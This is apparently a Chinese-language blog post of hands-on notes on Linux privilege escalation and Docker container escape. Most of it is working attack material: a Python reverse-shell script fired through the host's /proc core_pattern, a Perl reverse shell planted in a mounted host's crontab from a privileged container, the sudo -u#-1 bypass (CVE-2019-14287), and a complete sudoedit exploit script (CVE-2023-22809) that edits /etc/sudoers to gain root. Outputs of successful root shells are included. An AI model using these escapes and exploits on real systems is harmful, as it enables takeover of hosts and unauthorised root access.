之前写的docker与提权中不乏有需要动手复现的芝士,但是文章已经写的很长了不如汇总起来写在这里,本文未完待续 ——
linux提权信息收集 docker逃逸 挂载宿主机/proc导致逃逸 简单的说, proc 是一个伪文件系统 ,它提供了内核数据结构的接口。它通常挂载在 /proc 目录下。一般是由系统自动挂载的,不过也可以通过 mount 命令进行手动挂载。proc 文件系统只包含系统运行时的信息(如系统内存、mount 设备信息等),它只存在于内存中而不占用外存空间。它以文件系统的形式,为访问内核数据的操作提供接口。
所谓的进程,是只有机器在运行的时候才有的数据,也就是都在内存当中的。而内存中的数据都写入到 /proc/* 这个目录下 。我们可以直接查看这个目录下的文件。
创建容器并挂载 /proc 目录<
1 2 3 4 docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu find / -name core_pattern#如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs /proc/sys/kernel/core_pattern /host/proc/sys/kernel/core_pattern
找到当前容器在宿主机下的绝对路径
1 2 cat /proc/mounts | xargs -d ',' -n 1 | grep workdir workdir=/var/lib/docker/overlay2/610a40f987f03857cfc7ca5cb95c3befe08b31c10e3bb271567d95280b1a50de/work 0 0
1.在Linux中,如果进程崩溃,系统内核会捕获进程崩溃信息,然后将进程的coredump 信息写入到文件中,文件名默认是core,但也可以通过修改/proc/sys/kernel/core_pattern文件的内容来指定该文件名。
2.linux自2.6.19版本开始,支持在/proc/sys/kernel/core_pattern文件开头加入”|”符号。如果存在这符号,剩下字符会被当做命令由系统内核执行(参考官方手册:https://man7.org/linux/man-pages/man5/core.5.html)
\3. 因此,如果容器挂载了/proc目录,我们可在该目录下core_pattern文件写入exp,故意运行一个存在bug程序,触发并由内核执行core_pattern文件中exp,终成功逃逸到宿主机。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 apt-get update -y && apt-get install nano gcc -y nano /tmp/shell.py #!/usr/bin/python3 import os import pty import socket lhost = "IP" lport = 3307 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") # os.remove('/tmp/.t.py') s.close() if __name__ == "__main__": main() chmod 777 shell.py
写入反弹 shell 到目标的 proc 目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 echo -e "|/var/lib/docker/overlay2/610a40f987f03857cfc7ca5cb95c3befe08b31c10e3bb271567d95280b1a50de/merged/tmp/shell.py \rcore " > /host/proc/sys/kernel/core_pattern echo -e "|/var/lib/docker/overlay2/610a40f987f03857cfc7ca5cb95c3befe08b31c10e3bb271567d95280b1a50de/merged/tmp/shell.py \rcore " > /host/proc/sys/kernel/core_pattern 上面路径中的work 换成 merged/tmp/shell.py nano /tmp/shell.py #include<stdio.h > int main(void) { int *a = NULL; *a = 1; return 0; } gcc shell.c -o shell ./shell 成功弹回shell nc -lvp 3307 listening on [any] 3307 ... Warning: forward host lookup failed for ecs-123-249-78-254.compute.hwclouds-dns.com: Unknown host connect to [10.0.28.4] from ecs-123-249-78-254.compute.hwclouds-dns.com [123.249.78.254] 49934 root@hecs-235922:/#
Privileged 特权模式容器逃逸 1 docker run --rm --privileged=true -it alpine #创建容器
检测
:在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
1 cat /proc/self/status | grep CapEff
查看挂载磁盘设备
在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下
1 mkdir /test && mount /dev/sda1 /test
查看shadow文件或者定时任务写入反弹shell
1 echo $'*/1 * * * * root perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/etc/crontab
CVE-2019-14287 1 2 1.8.28之前的所有 Sudo 版本均受影响 要求用户具有 sudo 权限,从而以任意用户 ID 运行命令
参考:
https://mp.weixin.qq.com/s/FV1V_CguP1PQE68yJnEkvQ
https://www.shellcodes.org/Hacking/CVE-2019-14287%EF%BC%88Linux%20sudo%E6%BC%8F%E6%B4%9E%EF%BC%89%E5%88%86%E6%9E%90.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 环境搭建 docker run -dit ubuntu #docker run -dit --name=sudo-1.8.27 ubuntu apt update apt install wget gcc automake autoconf libtool make nano -y #安装sudo特定版本使用离线安装 将压缩包从宿主机复制进容器 #在宿主机使用 docker cp sudo-1.8.23.tar.gz 1cf:/tmp #使用wget下载压缩包 wget https://www.sudo.ws/dist/sudo-1.8.27.tar.gz tar -zxvf sudo-1.8.23.tar.gz ./configure && make && make install cp /usr/local/bin/sudo /usr/bin/sudo sudo -V 验证版本 useradd test passwd test 设置密码 更改 /etc/sudoers 增加 test ALL=(ALL,!root) NOPASSWD:ALL 测试
首先在服务器查看sudo版本
1 2 3 4 5 6 7 8 9 10 sudo -V Sudo version 1.8.27 Sudoers policy plugin version 1.8.27 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.27 L0sE2@VM-28-4-debian:~/docker$ L0sE2@VM-28-4-debian:~/docker$ sudo -u#-1 id -u sudo: unknown user: #-1 sudo: unable to initialize policy plugin #这里漏洞被修复了 很奇怪 而且sudo查看版本并没有输出环境变量
于是乎docker启一个ubuntu并安装 1.8.23 1.8.27 均可root
1 2 3 4 5 6 root@1cf67ddb9612:~# su test $ cat /root/111 cat: /root/111: Permission denied $ sudo -u#-1 cat /root/111 flag 分析
Sudo 支持在 sudoers 策略允许的情况下,以用户指定的名称或用户 ID 运行命令。例如,如下 sudoers 条目允许 id 命令以任意用户身份运行,因为它包含 Runas 规范中的关键字 ALL。
1 myhost alice = (ALL) /usr/bin/id
用户不仅能够以其它合法用户身份运行该 id 命令,还能使用 #uid 语法以任意用户 ID 运行该命令
将返回1234,然而,sudo 在运行命令前用户修改用户 ID 的setresuid(2) 和 setreuid(2) 系统调用将特殊对待用户 ID为-1(或其无符号值 4294967295)而且并不会修改该值的用户 ID
1 2 sudo -u#-1 id -u sudo -u#4294967295 id -u
实际上会返回 0。这是因为 sudo命令本身就已经以用户 ID 为0 运行,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令。此外,由于通过–u 选项指定的用户 ID 并不存在于密码数据库中,因此不会运行任何 PAM 会话模块
1 2 3 sudo: unknown user: #-1 sudo: unable to initialize policy plugin 返回以上则说明漏洞已被修复
CVE-2023-22809 https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf
https://bbs.kanxue.com/thread-277242.htm
https://www.wevul.com/315.html
https://www.shellcodes.org/Hacking/CVE-2023-22809%EF%BC%88sudoedit%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%EF%BC%89%E5%88%86%E6%9E%90.html
1 sudo 1.8.0-sudo 1.9.12p1(sudo>=1.8.0 or sudo <=1.9.12p1)
需要权限为 user ALL
=
(ALL:ALL) NOPASSWD: sudoedit
/
etc
/
test
payload
1 2 EDITOR='vim -- /path/to/file' sudoedit /etc/test #/path/to/file可以是任意文件 分析
执行 sudoedit 时,会调用 plugins/sudoers/editor.c 中的 find_editor 函数,find_editor 会根据 SUDO_EDITOR、VISUAL、EDITOR 三个环境变量设置的编辑器来指定编辑器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 char * find_editor(int nfiles, char **files, int *argc_out, char ***argv_out, char * const *allowlist, const char **env_editor) { /* ... */ *env_editor = NULL; ev[0] = "SUDO_EDITOR"; ev[1] = "VISUAL"; ev[2] = "EDITOR"; for (i = 0; i < nitems(ev); i++) { char *editor = getenv(ev[i]); if (editor != NULL && *editor != '\0') { *env_editor = editor; /* 解析环境变量的值 */ editor_path = resolve_editor(editor, strlen(editor), nfiles, files, argc_out, argv_out, allowlist); if (editor_path != NULL) break; if (errno != ENOENT) debug_return_str(NULL); } } /* ... */ }
如果设置了环境变量,就调用 resolve_editor 函数去解析,问题就出在这个函数中,以下为关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static char * resolve_editor(const char *ed, size_t edlen, int nfiles, char **files, int *argc_out, char ***argv_out, char * const *allowlist) { /* ... */if (nfiles != 0) { /* 如果参数为“--”,就替换为文件名 */ nargv[nargc++] = "--"; while (nfiles--) nargv[nargc++] = *files++; } nargv[nargc] = NULL; *argc_out = nargc; *argv_out = nargv; /* ... */ } SUDO_EDITOR='vim -- /etc/shadow' sudoedit /etc/hosts
其中的“–”就会被 /etc/hosts 对应的临时文件覆盖 要求文件有sudoedit权限
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/bin/env bash # if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$' then echo "> Currently installed sudo version is not vulnerable" exit 1 fi EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-) if [ -z "$EXPLOITABLE" ]; then echo "> It doesn't seem that this user can run sudoedit as root" read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2 else echo "> BINGO! User exploitable" fi echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:" echo "$USER ALL=(ALL:ALL) ALL" read -n 1 -s -r -p "Press any key to continue..." echo "$EXPLOITABLE" EDITOR="vim -- /etc/sudoers" $EXPLOITABLE sudo su root exit 0
首先检查当前系统上的sudo版本是否存在安全漏洞,如果不是,则退出。如果是,则检查当前用户是否可以通过sudoedit以root权限运行命令。如果当前用户无法以root权限运行sudoedit,则脚本会提示用户是否要继续进行提权攻击。如果用户可以以root权限运行sudoedit,则脚本将显示一条消息,告诉用户将特定行添加到sudoers文件中。最后,脚本将打开sudoers文件以便用户添加此行。
然后我们看看EXPOLITABLE这一行,主要执行了以下步骤:
使用 sudo -l 命令列出当前用户的sudo权限。
使用 grep -E “sudoedit|sudo -e” 过滤出能够运行 sudoedit 命令或者 sudo -e 命令的权限。
使用 grep -E ‘(root)|(ALL)|(ALL : ALL)’ 过滤出其中包含 (root) 或者 (ALL) 或者 (ALL : ALL) 的权限。
使用 cut -d ‘)’ -f 2- 命令删除每行开头的括号和空格,只保留每行的命令参数。
最终,该命令将返回一个以空格分隔的字符串列表,其中每个元素是一个能够以root权限运行的命令参数。如果返回的字符串为空,则表示当前用户无法以root权限运行任意sudoedit命令。
1 2 3 defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR" Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf user ALL=(ALL:ALL) SUDOEDIT
未完待续——